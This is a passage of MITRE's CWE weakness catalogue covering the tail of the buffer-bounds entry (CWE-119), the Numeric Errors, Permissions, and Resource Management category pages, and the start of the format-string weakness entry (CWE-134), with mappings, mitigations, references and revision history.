MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.875CERT C++ Secure Coding Section 07 - Characters and Strings (STR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.876CERT C++ Secure Coding Section 08 - Memory Management (MEM)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.877CERT C++ Secure Coding Section 09 - Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.878CERT C++ Secure Coding Section 10 - Environment (ENV)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.970SFP Secondary Cluster: Faulty Buffer Access
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1157SEI CERT C Coding Standard - Guidelines 03. Expressions (EXP)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1160SEI CERT C Coding Standard - Guidelines 06. Arrays (ARR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1161SEI CERT C Coding Standard - Guidelines 07. Characters and Strings (STR)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1200Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1306CISQ Quality Measures - Reliability
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1308CISQ Quality Measures - Security
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1337Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1340CISQ Data Protection Measures
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1350Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1387Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1399Comprehensive Categorization: Memory Safety
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1425Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses
+ Vulnerability Mapping Notes

Usage: DISCOURAGED

(this CWE ID should not be used to map to real-world vulnerabilities)

Reason: Frequent Misuse

Rationale:

CWE-119 is commonly misused in low-information vulnerability reports when lower-level CWEs could be used instead, or when more details about the vulnerability are available.

Comments:

Look at CWE-119's children and consider mapping to CWEs such as CWE-787: Out-of-bounds Write, CWE-125: Out-of-bounds Read, or others.
+ Notes

Applicable Platform

It is possible in any programming languages without memory management support to attempt an operation outside of the bounds of a memory buffer, but the consequences will vary widely depending on the language, platform, and chip architecture.

+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
OWASP Top Ten 2004A5ExactBuffer Overflows
CERT C Secure CodingARR00-CUnderstand how arrays work
CERT C Secure CodingARR30-CCWE More AbstractDo not form or use out-of-bounds pointers or array subscripts
CERT C Secure CodingARR38-CCWE More AbstractGuarantee that library functions do not form invalid pointers
CERT C Secure CodingENV01-CDo not make assumptions about the size of an environment variable
CERT C Secure CodingEXP39-CImpreciseDo not access a variable through a pointer of an incompatible type
CERT C Secure CodingFIO37-CDo not assume character data has been read
CERT C Secure CodingSTR31-CCWE More AbstractGuarantee that storage for strings has sufficient space for character data and the null terminator
CERT C Secure CodingSTR32-CCWE More AbstractDo not pass a non-null-terminated character sequence to a library function that expects a string
WASC7Buffer Overflow
Software Fault PatternsSFP8Faulty Buffer Access
+ References
[REF-1029] Aleph One. "Smashing The Stack For Fun And Profit". 1996-11-08. <http://phrack.org/issues/49/14.html>.
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 5, "Public Enemy #1: The Buffer Overrun" Page 127; Chapter 14, "Prevent I18N Buffer Overruns" Page 441. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-56] Microsoft. "Using the Strsafe.h Functions". <https://learn.microsoft.com/en-us/windows/win32/menurc/strsafe-ovw?redirectedfrom=MSDN>. URL validated: 2023-04-07.
[REF-57] Matt Messier and John Viega. "Safe C String Library v1.0.3". <http://www.gnu-darwin.org/www001/ports-1.5a-CURRENT/devel/safestr/work/safestr-1.0.3/doc/safestr.html>. URL validated: 2023-04-07.
[REF-58] Michael Howard. "Address Space Layout Randomization in Windows Vista". <https://learn.microsoft.com/en-us/archive/blogs/michael_howard/address-space-layout-randomization-in-windows-vista>. URL validated: 2023-04-07.
[REF-59] Arjan van de Ven. "Limiting buffer overflows with ExecShield". <https://archive.is/saAFo>. URL validated: 2023-04-07.
[REF-60] "PaX". <https://en.wikipedia.org/wiki/Executable_space_protection#PaX>. URL validated: 2023-04-07.
[REF-61] Microsoft. "Understanding DEP as a mitigation technology part 1". <https://msrc.microsoft.com/blog/2009/06/understanding-dep-as-a-mitigation-technology-part-1/>. URL validated: 2023-04-07.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 5, "Memory Corruption", Page 167. 1st Edition. Addison Wesley. 2006.
[REF-64] Grant Murphy. "Position Independent Executables (PIE)". Red Hat. 2012-11-28. <https://www.redhat.com/en/blog/position-independent-executables-pie>. URL validated: 2023-04-07.
[REF-1332] John Richard Moser. "Prelink and address space randomization". 2006-07-05. <https://lwn.net/Articles/190139/>. URL validated: 2023-04-26.
[REF-1333] Dmitry Evtyushkin, Dmitry Ponomarev, Nael Abu-Ghazaleh. "Jump Over ASLR: Attacking Branch Predictors to Bypass ASLR". 2016. <http://www.cs.ucr.edu/~nael/pubs/micro16.pdf>. URL validated: 2023-04-26.
[REF-1334] D3FEND. "Stack Frame Canary Validation (D3-SFCV)". 2023. <https://d3fend.mitre.org/technique/d3f:StackFrameCanaryValidation/>. URL validated: 2023-04-26.
[REF-1335] D3FEND. "Segment Address Offset Randomization (D3-SAOR)". 2023. <https://d3fend.mitre.org/technique/d3f:SegmentAddressOffsetRandomization/>. URL validated: 2023-04-26.
[REF-1336] D3FEND. "Process Segment Execution Prevention (D3-PSEP)". 2023. <https://d3fend.mitre.org/technique/d3f:ProcessSegmentExecutionPrevention/>. URL validated: 2023-04-26.
[REF-1337] Alexander Sotirov and Mark Dowd. "Bypassing Browser Memory Protections: Setting back browser security by 10 years". Memory information leaks. 2008. <https://www.blackhat.com/presentations/bh-usa-08/Sotirov_Dowd/bh08-sotirov-dowd.pdf>. URL validated: 2023-04-26.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Contributions
Contribution DateContributorOrganization
2024-02-29
(CWE 4.15, 2024-07-16)
Abhi Balakrishnan
Provided diagram to improve CWE usability
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-08-15Veracode
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITRE
updated Description, Relationships, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Relationships
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-01-12CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Likelihood_of_Exploit, Name, Potential_Mitigations, References, Relationships
2009-03-10CWE Content TeamMITRE
updated Potential_Mitigations
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples
2009-07-27CWE Content TeamMITRE
updated Observed_Examples
2009-10-29CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Relationships, Time_of_Introduction
2009-12-28CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Detection_Factors, Observed_Examples
2010-02-16CWE Content TeamMITRE
updated Alternate_Terms, Applicable_Platforms, Demonstrative_Examples, Detection_Factors, Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2010-06-21CWE Content TeamMITRE
updated Potential_Mitigations
2010-09-27CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2010-12-13CWE Content TeamMITRE
updated Name
2011-03-29CWE Content TeamMITRE
updated Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, Potential_Mitigations, References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2013-02-21CWE Content TeamMITRE
updated Demonstrative_Examples
2014-02-18CWE Content TeamMITRE
updated Potential_Mitigations, References
2014-07-30CWE Content TeamMITRE
updated Detection_Factors, Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-01-19CWE Content TeamMITRE
updated Relationships
2017-05-03CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Observed_Examples, References, Relationships, Taxonomy_Mappings
2018-03-27CWE Content TeamMITRE
updated References
2019-01-03CWE Content TeamMITRE
updated Relationships
2019-06-20CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2019-09-19CWE Content TeamMITRE
updated References, Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings, Time_of_Introduction
2020-06-25CWE Content TeamMITRE
updated Relationships
2020-08-20CWE Content TeamMITRE
updated Alternate_Terms, Relationships
2020-12-10CWE Content TeamMITRE
updated Alternate_Terms, Observed_Examples, Relationships
2021-07-20CWE Content TeamMITRE
updated Demonstrative_Examples, Observed_Examples, Potential_Mitigations, Relationships
2022-06-28CWE Content TeamMITRE
updated Observed_Examples, Relationships
2022-10-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2023-01-31CWE Content TeamMITRE
updated Alternate_Terms, Description
2023-04-27CWE Content TeamMITRE
updated Potential_Mitigations, References, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes, Relationships
2024-07-16
(CWE 4.15, 2024-07-16)
CWE Content TeamMITRE
updated Alternate_Terms, Background_Details, Common_Consequences, Description, Diagram
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Buffer Errors
2009-01-12Failure to Constrain Operations within the Bounds of an Allocated Memory Buffer
2010-12-13Failure to Constrain Operations within the Bounds of a Memory Buffer

CWE CATEGORY: Numeric Errors

Category ID: 189
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
Weaknesses in this category are related to improper calculation or conversion of numbers.
+ Membership
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).635Weaknesses Originally Used by NVD from 2008 to 2016
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).699Software Development
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1182SEI CERT Perl Coding Standard - Guidelines 04. Integers (INT)
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.128Wrap-around Error
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.190Integer Overflow or Wraparound
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.191Integer Underflow (Wrap or Wraparound)
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.193Off-by-one Error
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.369Divide By Zero
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.681Incorrect Conversion between Numeric Types
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.839Numeric Range Comparison Without Minimum Check
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1335Incorrect Bitwise Shift of Integer
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1339Insufficient Precision or Accuracy of a Real Number
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1389Incorrect Parsing of Numbers with Different Radices
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves [REF-1287]. This CWE ID may have become widely-used because of NIST's usage in NVD from 2008 to 2016 (see CWE-635 view, updated to the CWE-1003 view in 2016).

Comments:

Most number-handling issues are probably descendants under Incorrect Calculation (CWE-682) or Incorrect Conversion between Numeric Types (CWE-681).
+ References
[REF-1287] MITRE. "Supplemental Details - 2022 CWE Top 25". Details of Problematic Mappings. 2022-06-28. <https://cwe.mitre.org/top25/archive/2022/2022_cwe_top25_supplemental.html#problematicMappingDetails>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-10-29CWE Content TeamMITRE
updated Relationships
2011-03-29CWE Content TeamMITRE
updated Relationships
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-01-19CWE Content TeamMITRE
updated Applicable_Platforms, Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Relationships, Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2019-06-20CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Relationships
2021-07-20CWE Content TeamMITRE
updated Relationships
2022-10-13CWE Content TeamMITRE
updated References, Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE CATEGORY: Permissions, Privileges, and Access Controls

Category ID: 264
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.
+ Membership
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).635Weaknesses Originally Used by NVD from 2008 to 2016
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1345OWASP Top Ten 2021 Category A01:2021 - Broken Access Control
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves [REF-1287]. This CWE ID may have become widely-used because of NIST's usage in NVD from 2008 to 2016 (see CWE-635 view, updated to the CWE-1003 view in 2016).

Comments:

Some weakness-oriented alternatives might be found as descendants under Improper Access Control (CWE-284). Note: use of CWE-284 is Discouraged; see CWE-284's Mapping Notes.
+ Notes

Maintenance

This entry heavily overlaps other categories and has been marked obsolete.
+ References
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 7, "How Tokens, Privileges, SIDs, ACLs, and Processes Relate" Page 218. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-1287] MITRE. "Supplemental Details - 2022 CWE Top 25". Details of Problematic Mappings. 2022-06-28. <https://cwe.mitre.org/top25/archive/2022/2022_cwe_top25_supplemental.html#problematicMappingDetails>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2010-02-16CWE Content TeamMITRE
updated References
2011-03-29CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Detection_Factors
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Detection_Factors, Potential_Mitigations, References, Related_Attack_Patterns, Relationships
2018-03-27CWE Content TeamMITRE
updated References
2019-06-20CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Maintenance_Notes, Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-10-13CWE Content TeamMITRE
updated Maintenance_Notes, References
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE CATEGORY: Resource Management Errors

Category ID: 399
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
Weaknesses in this category are related to improper management of system resources.
+ Membership
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).635Weaknesses Originally Used by NVD from 2008 to 2016
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).699Software Development
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.73External Control of File Name or Path
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.403Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak')
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.410Insufficient Resource Pool
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.470Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.502Deserialization of Untrusted Data
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.619Dangling Database Cursor ('Cursor Injection')
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.641Improper Restriction of Names for Files and Other Resources
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.694Use of Multiple Resources with Duplicate Identifier
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.763Release of Invalid Pointer or Reference
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.770Allocation of Resources Without Limits or Throttling
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.771Missing Reference to Active Allocated Resource
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.772Missing Release of Resource after Effective Lifetime
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.826Premature Release of Resource During Expected Lifetime
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.908Use of Uninitialized Resource
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.909Missing Initialization of Resource
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.910Use of Expired File Descriptor
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.911Improper Update of Reference Count
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.914Improper Control of Dynamically-Identified Variables
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.915Improperly Controlled Modification of Dynamically-Determined Object Attributes
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.920Improper Restriction of Power Consumption
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1188Initialization of a Resource with an Insecure Default
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1341Multiple Releases of Same Resource or Handle
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves [REF-1287]. This CWE ID may have become widely-used because of NIST's usage in NVD from 2008 to 2016 (see CWE-635 view, updated to the CWE-1003 view in 2016).

Comments:

Some weakness-oriented alternatives might be found as descendants under Uncontrolled Resource Consumption (CWE-400).
+ References
[REF-1287] MITRE. "Supplemental Details - 2022 CWE Top 25". Details of Problematic Mappings. 2022-06-28. <https://cwe.mitre.org/top25/archive/2022/2022_cwe_top25_supplemental.html#problematicMappingDetails>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2009-05-27CWE Content TeamMITRE
updated Relationships
2014-06-23CWE Content TeamMITRE
updated Other_Notes
2014-07-30CWE Content TeamMITRE
updated Detection_Factors
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-01-19CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Detection_Factors, Relationships
2019-01-03CWE Content TeamMITRE
updated Relationships
2019-06-20CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2022-10-13CWE Content TeamMITRE
updated References
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-134: Use of Externally-Controlled Format String

Weakness ID: 134
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
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+ Description
The product uses a function that accepts a format string as an argument, but the format string originates from an external source.
+ Extended Description

When an attacker can modify an externally-controlled format string, this can lead to buffer overflows, denial of service, or data representation problems.

It should be noted that in some circumstances, such as internationalization, the set of format strings is externally controlled by design. If the source of these format strings is trusted (e.g. only contained in library files that are only modifiable by the system administrator), then the external control might not itself pose a vulnerability.

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Memory

Format string problems allow for information disclosure which can severely simplify exploitation of the program.
Integrity
Confidentiality
Availability

Technical Impact: Modify Memory; Execute Unauthorized Code or Commands

Format string problems can result in the execution of arbitrary code.
+ Potential Mitigations

Phase: Requirements

Choose a language that is not subject to this flaw.

Phase: Implementation

Ensure that all format string functions are passed a static string which cannot be controlled by the user, and that the proper number of arguments are always sent to that function as well. If at all possible, use functions that do not support the %n operator in format strings. [REF-116] [REF-117]

Phase: Build and Compilation

Run compilers and linkers with high warning levels, since they may detect incorrect usage.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.668Exposure of Resource to Wrong Sphere
CanPrecedeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.123Write-what-where Condition
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.133String Errors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.668Exposure of Resource to Wrong Sphere
